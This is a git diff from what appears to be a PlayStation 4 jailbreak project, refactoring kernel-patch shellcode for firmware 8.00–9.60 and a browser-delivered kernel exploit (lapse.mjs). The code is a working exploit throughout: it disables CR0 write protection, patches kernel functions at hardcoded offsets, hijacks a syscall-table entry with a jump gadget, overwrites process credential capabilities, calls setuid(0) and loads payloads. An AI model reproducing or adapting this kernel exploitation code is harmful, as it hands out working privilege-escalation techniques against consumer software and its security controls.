diff --git a/CHANGELOG.md b/CHANGELOG.md
index 1f5284c..ac18a8f 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -8,10 +8,13 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 
 ### Added
 
-- Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60)
+- Kernel patches from pOOBs4 by @ChendoChap and ported for 8.00-9.60
+  - 233 bytes to 307 bytes
 - Payload loader from pOOBs4 by @ChendoChap
-- `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm
+- `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by
+  @janisslsm
 - Added loading payload from file
+- Added read8/read16/write8/write16 functions
 
 ### Fixed
 
@@ -26,7 +29,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 - Cleanup/Linting/Tweaks/Fixes/etc
   - Default Prettier config w/ 999 line length
   - Default eslint config "problems" list trimmed down
-- Reorder make_aliased_pktopts to try an reclaim memory earlier. By abc
+- Reorder make_aliased_pktopts to try and reclaim memory earlier, by abc
+- Simplify shellcode a little bit more
+  - No external headers
+  - Added `-fcf-protection=none` flag to skip added "endbr64" instructions
+    - 307 bytes to 295 bytes
+  - Changed `restore` and `do_patch` to be inlined
+    - 307 bytes to 282 bytes
+  - Changed to `-03` for execution speed optimization
+    - 282 bytes to 345 bytes
 
 ##  [1.5.1] - 2025-05-12
 
diff --git a/src/kpatch/800.c b/src/kpatch/800.c
index f393b6d..ecf3f8c 100644
--- a/src/kpatch/800.c
+++ b/src/kpatch/800.c
@@ -17,8 +17,6 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
 // 8.00, 8.01, 8.03
 
-#include <stddef.h>
-
 #include "types.h"
 #include "utils.h"
 
@@ -31,8 +29,8 @@ struct kexec_args {
     u64 arg5;
 };
 
-void do_patch(void);
-void restore(struct kexec_args *uap);
+static inline void restore(struct kexec_args *uap);
+static inline void do_patch(void);
 
 __attribute__((section (".text.start")))
 int kpatch(void *td, struct kexec_args *uap) {
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
     return 0;
 }
 
-void restore(struct kexec_args *uap) {
+__attribute__((always_inline))
+static inline void restore(struct kexec_args *uap) {
     u8 *pipe = uap->arg1;
     u8 *pipebuf = uap->arg2;
-    for (size_t i = 0; i < 0x18; i++) {
+    for (int i = 0; i < 0x18; i++) {
         pipe[i] = pipebuf[i];
     }
     u64 *pktinfo_field = uap->arg3;
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
     *pktinfo_field2 = 0;
 }
 
-void do_patch(void) {
-    // offset to fast_syscall()
-    const size_t off_fast_syscall = 0x1c0;
-    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
+__attribute__((always_inline))
+static inline void do_patch(void) {
+    // get kernel base
+    const u64 xfast_syscall_off = 0x1c0;
+    void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
 
     disable_cr0_wp();
 
-    // ChendoChap's patches from pOOBs4 ///////////////////////////////////////
-
-    // Initial patches
+    // ChendoChap's patches from pOOBs4
     write16(kbase, 0x62d254, 0x9090); // veriPatch
     write8(kbase, 0xacd, 0xeb); // bcopy
     write8(kbase, 0x25e10d, 0xeb); // bzero
@@ -176,12 +174,13 @@ void do_patch(void) {
     // int sys_kexec(struct thread td, struct args *uap) {
     //     asm("jmp qword ptr [rsi]");
     // }
+    const u64 sysent_11_off = 0x10fc6e0;
     // .sy_narg = 2
-    write32(kbase, 0x10fc6e0, 2);
+    write32(kbase, sysent_11_off, 2);
     // .sy_call = gadgets['jmp qword ptr [rsi]']
-    write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c);
+    write64(kbase, sysent_11_off + 8, kbase + 0xe629c);
     // .sy_thrcnt = SY_THR_STATIC
-    write32(kbase, 0x10fc6e0 + 0x2c, 1);
+    write32(kbase, sysent_11_off + 0x2c, 1);
 
     enable_cr0_wp();
 }
diff --git a/src/kpatch/850.c b/src/kpatch/850.c
index c0420ae..7418230 100644
--- a/src/kpatch/850.c
+++ b/src/kpatch/850.c
@@ -17,8 +17,6 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
 // 8.50, 8.52
 
-#include <stddef.h>
-
 #include "types.h"
 #include "utils.h"
 
@@ -31,8 +29,8 @@ struct kexec_args {
     u64 arg5;
 };
 
-void do_patch(void);
-void restore(struct kexec_args *uap);
+static inline void restore(struct kexec_args *uap);
+static inline void do_patch(void);
 
 __attribute__((section (".text.start")))
 int kpatch(void *td, struct kexec_args *uap) {
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
     return 0;
 }
 
-void restore(struct kexec_args *uap) {
+__attribute__((always_inline))
+static inline void restore(struct kexec_args *uap) {
     u8 *pipe = uap->arg1;
     u8 *pipebuf = uap->arg2;
-    for (size_t i = 0; i < 0x18; i++) {
+    for (int i = 0; i < 0x18; i++) {
         pipe[i] = pipebuf[i];
     }
     u64 *pktinfo_field = uap->arg3;
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
     *pktinfo_field2 = 0;
 }
 
-void do_patch(void) {
-    // offset to fast_syscall()
-    const size_t off_fast_syscall = 0x1c0;
-    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
+__attribute__((always_inline))
+static inline void do_patch(void) {
+    // get kernel base
+    const u64 xfast_syscall_off = 0x1c0;
+    void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
 
     disable_cr0_wp();
 
-    // ChendoChap's patches from pOOBs4 ///////////////////////////////////////
-
-    // Initial patches
+    // ChendoChap's patches from pOOBs4
     write16(kbase, 0x624674, 0x9090); // veriPatch
     write8(kbase, 0xacd, 0xeb); // bcopy
     write8(kbase, 0x3a403d, 0xeb); // bzero
@@ -176,12 +174,13 @@ void do_patch(void) {
     // int sys_kexec(struct thread td, struct args *uap) {
     //     asm("jmp qword ptr [rsi]");
     // }
+    const u64 sysent_11_off = 0x10fc7d0;
     // .sy_narg = 2
-    write32(kbase, 0x10fc7d0, 2);
+    write32(kbase, sysent_11_off, 2);
     // .sy_call = gadgets['jmp qword ptr [rsi]']
-    write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d);
+    write64(kbase, sysent_11_off + 8, kbase + 0xc810d);
     // .sy_thrcnt = SY_THR_STATIC
-    write32(kbase, 0x10fc7d0 + 0x2c, 1);
+    write32(kbase, sysent_11_off + 0x2c, 1);
 
     enable_cr0_wp();
 }
diff --git a/src/kpatch/900.c b/src/kpatch/900.c
index 41c8818..e1df750 100644
--- a/src/kpatch/900.c
+++ b/src/kpatch/900.c
@@ -17,8 +17,6 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
 // 9.00
 
-#include <stddef.h>
-
 #include "types.h"
 #include "utils.h"
 
@@ -31,8 +29,8 @@ struct kexec_args {
     u64 arg5;
 };
 
-void do_patch(void);
-void restore(struct kexec_args *uap);
+static inline void restore(struct kexec_args *uap);
+static inline void do_patch(void);
 
 __attribute__((section (".text.start")))
 int kpatch(void *td, struct kexec_args *uap) {
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
     return 0;
 }
 
-void restore(struct kexec_args *uap) {
+__attribute__((always_inline))
+static inline void restore(struct kexec_args *uap) {
     u8 *pipe = uap->arg1;
     u8 *pipebuf = uap->arg2;
-    for (size_t i = 0; i < 0x18; i++) {
+    for (int i = 0; i < 0x18; i++) {
         pipe[i] = pipebuf[i];
     }
     u64 *pktinfo_field = uap->arg3;
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
     *pktinfo_field2 = 0;
 }
 
-void do_patch(void) {
-    // offset to fast_syscall()
-    const size_t off_fast_syscall = 0x1c0;
-    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
+__attribute__((always_inline))
+static inline void do_patch(void) {
+    // get kernel base
+    const u64 xfast_syscall_off = 0x1c0;
+    void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
 
     disable_cr0_wp();
 
-    // ChendoChap's patches from pOOBs4 ///////////////////////////////////////
-
-    // Initial patches
+    // ChendoChap's patches from pOOBs4
     write16(kbase, 0x626874, 0x9090); // veriPatch
     write8(kbase, 0xacd, 0xeb); // bcopy
     write8(kbase, 0x2713fd, 0xeb); // bzero
@@ -176,12 +174,13 @@ void do_patch(void) {
     // int sys_kexec(struct thread td, struct args *uap) {
     //     asm("jmp qword ptr [rsi]");
     // }
+    const u64 sysent_11_off = 0x1100520;
     // .sy_narg = 2
-    write32(kbase, 0x1100520, 2);
+    write32(kbase, sysent_11_off, 2);
     // .sy_call = gadgets['jmp qword ptr [rsi]']
-    write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
+    write64(kbase, sysent_11_off + 8, kbase + 0x4c7ad);
     // .sy_thrcnt = SY_THR_STATIC
-    write32(kbase, 0x1100520 + 0x2c, 1);
+    write32(kbase, sysent_11_off + 0x2c, 1);
 
     enable_cr0_wp();
 }
diff --git a/src/kpatch/903.c b/src/kpatch/903.c
index 8a32aab..12788b0 100644
--- a/src/kpatch/903.c
+++ b/src/kpatch/903.c
@@ -17,8 +17,6 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
 // 9.03, 9.04
 
-#include <stddef.h>
-
 #include "types.h"
 #include "utils.h"
 
@@ -31,8 +29,8 @@ struct kexec_args {
     u64 arg5;
 };
 
-void do_patch(void);
-void restore(struct kexec_args *uap);
+static inline void restore(struct kexec_args *uap);
+static inline void do_patch(void);
 
 __attribute__((section (".text.start")))
 int kpatch(void *td, struct kexec_args *uap) {
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
     return 0;
 }
 
-void restore(struct kexec_args *uap) {
+__attribute__((always_inline))
+static inline void restore(struct kexec_args *uap) {
     u8 *pipe = uap->arg1;
     u8 *pipebuf = uap->arg2;
-    for (size_t i = 0; i < 0x18; i++) {
+    for (int i = 0; i < 0x18; i++) {
         pipe[i] = pipebuf[i];
     }
     u64 *pktinfo_field = uap->arg3;
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
     *pktinfo_field2 = 0;
 }
 
-void do_patch(void) {
-    // offset to fast_syscall()
-    const size_t off_fast_syscall = 0x1c0;
-    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
+__attribute__((always_inline))
+static inline void do_patch(void) {
+    // get kernel base
+    const u64 xfast_syscall_off = 0x1c0;
+    void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
 
     disable_cr0_wp();
 
-    // ChendoChap's patches from pOOBs4 ///////////////////////////////////////
-
-    // Initial patches
+    // ChendoChap's patches from pOOBs4
     write16(kbase, 0x624834, 0x9090); // veriPatch
     write8(kbase, 0xacd, 0xeb); // bcopy
     write8(kbase, 0x27107d, 0xeb); // bzero
@@ -176,12 +174,13 @@ void do_patch(void) {
     // int sys_kexec(struct thread td, struct args *uap) {
     //     asm("jmp qword ptr [rsi]");
     // }
+    const u64 sysent_11_off = 0x10fc520;
     // .sy_narg = 2
-    write32(kbase, 0x10fc520, 2);
+    write32(kbase, sysent_11_off, 2);
     // .sy_call = gadgets['jmp qword ptr [rsi]']
-    write64(kbase, 0x10fc520 + 8, kbase + 0x5325b);
+    write64(kbase, sysent_11_off + 8, kbase + 0x5325b);
     // .sy_thrcnt = SY_THR_STATIC
-    write32(kbase, 0x10fc520 + 0x2c, 1);
+    write32(kbase, sysent_11_off + 0x2c, 1);
 
     enable_cr0_wp();
 }
diff --git a/src/kpatch/950.c b/src/kpatch/950.c
index 47c8be0..dbcadb7 100644
--- a/src/kpatch/950.c
+++ b/src/kpatch/950.c
@@ -17,8 +17,6 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
 // 9.50, 9.51, 9.60
 
-#include <stddef.h>
-
 #include "types.h"
 #include "utils.h"
 
@@ -31,8 +29,8 @@ struct kexec_args {
     u64 arg5;
 };
 
-void do_patch(void);
-void restore(struct kexec_args *uap);
+static inline void restore(struct kexec_args *uap);
+static inline void do_patch(void);
 
 __attribute__((section (".text.start")))
 int kpatch(void *td, struct kexec_args *uap) {
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
     return 0;
 }
 
-void restore(struct kexec_args *uap) {
+__attribute__((always_inline))
+static inline void restore(struct kexec_args *uap) {
     u8 *pipe = uap->arg1;
     u8 *pipebuf = uap->arg2;
-    for (size_t i = 0; i < 0x18; i++) {
+    for (int i = 0; i < 0x18; i++) {
         pipe[i] = pipebuf[i];
     }
     u64 *pktinfo_field = uap->arg3;
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
     *pktinfo_field2 = 0;
 }
 
-void do_patch(void) {
-    // offset to fast_syscall()
-    const size_t off_fast_syscall = 0x1c0;
-    void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
+__attribute__((always_inline))
+static inline void do_patch(void) {
+    // get kernel base
+    const u64 xfast_syscall_off = 0x1c0;
+    void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
 
     disable_cr0_wp();
 
-    // ChendoChap's patches from pOOBs4 ///////////////////////////////////////
-
-    // Initial patches
+    // ChendoChap's patches from pOOBs4
     write16(kbase, 0x624ae4, 0x9090); // veriPatch
     write8(kbase, 0xacd, 0xeb); // bcopy
     write8(kbase, 0x201c0d, 0xeb); // bzero
@@ -176,12 +174,13 @@ void do_patch(void) {
     // int sys_kexec(struct thread td, struct args *uap) {
     //     asm("jmp qword ptr [rsi]");
     // }
+    const u64 sysent_11_off = 0x10f9500;
     // .sy_narg = 2
-    write32(kbase, 0x10f9500, 2);
+    write32(kbase, sysent_11_off, 2);
     // .sy_call = gadgets['jmp qword ptr [rsi]']
-    write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d);
+    write64(kbase, sysent_11_off + 8, kbase + 0x15a6d);
     // .sy_thrcnt = SY_THR_STATIC
-    write32(kbase, 0x10f9500 + 0x2c, 1);
+    write32(kbase, sysent_11_off + 0x2c, 1);
 
     enable_cr0_wp();
 }
diff --git a/src/kpatch/Makefile b/src/kpatch/Makefile
index 0dde27e..be622a2 100644
--- a/src/kpatch/Makefile
+++ b/src/kpatch/Makefile
@@ -2,7 +2,7 @@ TARGET_VERSIONS = 800 850 900 903 950
 
 CC = gcc
 OBJCOPY = objcopy
-CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld
+CFLAGS = -O3 -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -fcf-protection=none -Tscript.ld
 
 .PHONY: all
 ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
diff --git a/src/kpatch/types.h b/src/kpatch/types.h
index bcd075a..132463d 100644
--- a/src/kpatch/types.h
+++ b/src/kpatch/types.h
@@ -15,7 +15,8 @@ GNU Affero General Public License for more details.
 You should have received a copy of the GNU Affero General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
-#pragma once
+#ifndef TYPES_H_
+#define TYPES_H_
 
 typedef unsigned char u8;
 typedef unsigned short u16;
@@ -26,3 +27,5 @@ typedef signed char s8;
 typedef signed short s16;
 typedef signed int s32;
 typedef signed long long s64;
+
+#endif
diff --git a/src/kpatch/utils.h b/src/kpatch/utils.h
index 8968ce0..dd1e5c4 100644
--- a/src/kpatch/utils.h
+++ b/src/kpatch/utils.h
@@ -15,14 +15,14 @@ GNU Affero General Public License for more details.
 You should have received a copy of the GNU Affero General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
 
-#pragma once
-
-#include <stddef.h>
+#ifndef UTILS_H_
+#define UTILS_H_
 
 #include "types.h"
 
 static inline u64 rdmsr(u32 msr) {
-    u32 low, high;
+    u32 low;
+    u32 high;
 
     asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
     return (low | ((u64)high << 32));
@@ -44,18 +44,20 @@ static inline void disable_cr0_wp(void) {
     ::: "rax");
 }
 
-static inline void write8(void *addr, size_t offset, u8 value) {
+static inline void write8(void *addr, u64 offset, u8 value) {
     *(u8 *)(addr + offset) = value;
 }
 
-static inline void write16(void *addr, size_t offset, u16 value) {
+static inline void write16(void *addr, u64 offset, u16 value) {
     *(u16 *)(addr + offset) = value;
 }
 
-static inline void write32(void *addr, size_t offset, u32 value) {
+static inline void write32(void *addr, u64 offset, u32 value) {
     *(u32 *)(addr + offset) = value;
 }
 
-static inline void write64(void *addr, size_t offset, u64 value) {
+static inline void write64(void *addr, u64 offset, u64 value) {
     *(u64 *)(addr + offset) = value;
 }
+
+#endif
diff --git a/src/lapse.mjs b/src/lapse.mjs
index 57e3c18..421f10f 100644
--- a/src/lapse.mjs
+++ b/src/lapse.mjs
@@ -1408,6 +1408,16 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
       gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
     }
 
+    read8(addr) {
+      this._read(addr);
+      return this.rw_buf.read8(0);
+    }
+
+    read16(addr) {
+      this._read(addr);
+      return this.rw_buf.read16(0);
+    }
+
     read32(addr) {
       this._read(addr);
       return this.rw_buf.read32(0);
@@ -1418,6 +1428,16 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
       return this.rw_buf.read64(0);
     }
 
+    write8(addr, value) {
+      this.rw_buf.write8(0, value);
+      this.copyin(this.rw_buf.addr, addr, 1);
+    }
+
+    write16(addr, value) {
+      this.rw_buf.write16(0, value);
+      this.copyin(this.rw_buf.addr, addr, 2);
+    }
+
     write32(addr, value) {
       this.rw_buf.write32(0, value);
       this.copyin(this.rw_buf.addr, addr, 4);
@@ -1470,6 +1490,9 @@ async function get_binary(url) {
   return response.arrayBuffer();
 }
 
+// Using JIT to load our own shellcode code here avoids the need to preform
+// some trick toggle the CR0 Protection Mode bit. We can just toggle it easily
+// within our shellcode.
 async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
   if (!is_ps4) {
     throw RangeError("ps5 kernel patching unsupported");
@@ -1492,12 +1515,12 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
   // .sy_thrcnt = SY_THR_STATIC
   kmem.write32(sysent_661.add(0x2c), 1);
 
-  log("add JIT capabilities");
+  log("set the bits for JIT privs");
   // TODO: Just set the bits for JIT privs
-  // cr_sceCaps[0]
-  kmem.write64(p_ucred.add(0x60), -1);
-  // cr_sceCaps[1]
-  kmem.write64(p_ucred.add(0x68), -1);
+  // cr_sceCaps[0] // 0x2000038000000000
+  kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff
+  // cr_sceCaps[1] // 0x800000000000ff00
+  kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
 
   const buf = await get_binary(patch_elf_loc);
   const patches = new View1(await buf);
@@ -1558,10 +1581,10 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
   sysi("setuid", 0);
   log("kernel exploit succeeded!");
 
-  kmem.write32(sysent_661, sy_narg);
-  kmem.write64(sysent_661.add(8), sy_call);
   kmem.write32(sysent_661.add(0x2c), sy_thrcnt);
-  log("restored dsys_aio_submit()");
+  kmem.write64(sysent_661.add(8), sy_call);
+  kmem.write32(sysent_661, sy_narg);
+  log("restored sys_aio_submit()");
 }
 
 // FUNCTIONS FOR STAGE: SETUP
@@ -1605,6 +1628,10 @@ function setup(block_fd) {
 //
 // the exploit implementation also assumes that we are pinned to one core
 export async function kexploit() {
+  const _init_t1 = performance.now();
+  await init();
+  const _init_t2 = performance.now();
+
   // If setuid is successful, we dont need to run the kernel exploit again
   try {
     if (sysi("setuid", 0) == 0) {
@@ -1615,10 +1642,6 @@ export async function kexploit() {
     // Expected when not in an exploited state
   }
 
-  const _init_t1 = performance.now();
-  await init();
-  const _init_t2 = performance.now();
-
   // fun fact:
   // if the first thing you do since boot is run the web browser, WebKit can
   // use all the cores
@@ -1823,7 +1846,7 @@ function runPayload(path) {
         } catch (e) {
           log(`error in runPayload: ${e.message}`);
         }
-      } else if (xhr.status >= 400 && xhr.status < 600) {
+      } else {
         log(`error retrieving payload, ${xhr.status}`);
       }
     }
diff --git a/src/module/rw.mjs b/src/module/rw.mjs
index 353a5f7..456c951 100644
--- a/src/module/rw.mjs
+++ b/src/module/rw.mjs
@@ -32,6 +32,10 @@ export class BufferView extends Uint8Array {
     this._dview = new DataView(this.buffer, this.byteOffset);
   }
 
+  read8(offset) {
+    return this._dview.getUint8(offset);
+  }
+
   read16(offset) {
     return this._dview.getUint16(offset, true);
   }
@@ -44,6 +48,10 @@ export class BufferView extends Uint8Array {
     return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true));
   }
 
+  write8(offset, value) {
+    this._dview.setUint8(offset, value);
+  }
+
   write16(offset, value) {
     this._dview.setUint16(offset, value, true);
   }